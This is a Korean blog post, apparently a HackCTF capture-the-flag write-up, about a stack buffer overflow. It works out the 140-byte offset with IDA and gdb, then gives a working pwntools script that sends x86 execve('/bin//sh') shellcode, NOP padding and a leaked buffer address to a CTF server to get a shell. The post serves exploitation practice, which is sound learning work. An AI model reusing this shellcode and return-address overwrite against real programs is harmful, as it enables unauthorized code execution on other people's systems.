해당 프로그램은 값을 입력하면 해당 값이 저장되는 위치가 출력되면서 저장된 값을 바이트 단위로 구분해서 출력해주는 프로그램인 듯 하다.
먼저 IDA를 이용해 코드를 확인해보았다.
먼저 buf의 위치를 찾아보도록 한다. IDA를 보면 바로 알 수 있지만 그래도 gdb를 통해 확인해보도록 한다.
값을 입력받은 직후(main+88)에 중단점을 걸고 입력으로 "AAAAAAAAAAAAAA"를 넘겨보았다.
ebp의 위치는 0xffffd138이고 A가 저장되기 시작한 위치는 0xffffd0b0이다. 이 둘을 빼주면 IDA에서와 동일하게 0x88이 나온다. 이는 10진수로 136이 되며, ebp 4바이트를 더해주면 140바이트가 된다. 페이로드는 다음과 같다.
payload = "쉘 코드 25바이트" + "\x90"*115 + "buf의 주소"
해당 프로그램은 입력을 한번 한 이후에 buf의 주소를 알려주기 때문에, pwntool을 이용해 일단 한번 실행하면서 buf의 주소를 저장해두고, Again (y/n): 에서 y를 입력한 후에 공격을 실행하도록 했다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3006)
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload += "\x90"*115
r.recvuntil(":") #Data :
r.sendline("test")
buf = int(r.recvuntil(":")[:-1], 16)
payload += p32(buf)
r.recvuntil(":") #Again (y/n):
r.sendline("y")
r.recvuntil(":") #Data :
r.sendline(payload)
r.interactive()
성공!
'Pwnable > HackCTF' 카테고리의 다른 글
[ProjectH4C] HackCTF (BOF_PIE) (0) | 2020.09.18 |
---|---|
[ProjectH4C] HackCTF (Offset) (0) | 2020.09.18 |
[ProjectH4C] HackCTF (x64 Simple_size_BOF) (0) | 2020.09.17 |
[ProjectH4C] HackCTF (x64 Buffer Overflow) (0) | 2020.09.13 |
[ProjectH4C] HackCTF (내 버퍼가 흘러넘친다!!!) (0) | 2020.09.13 |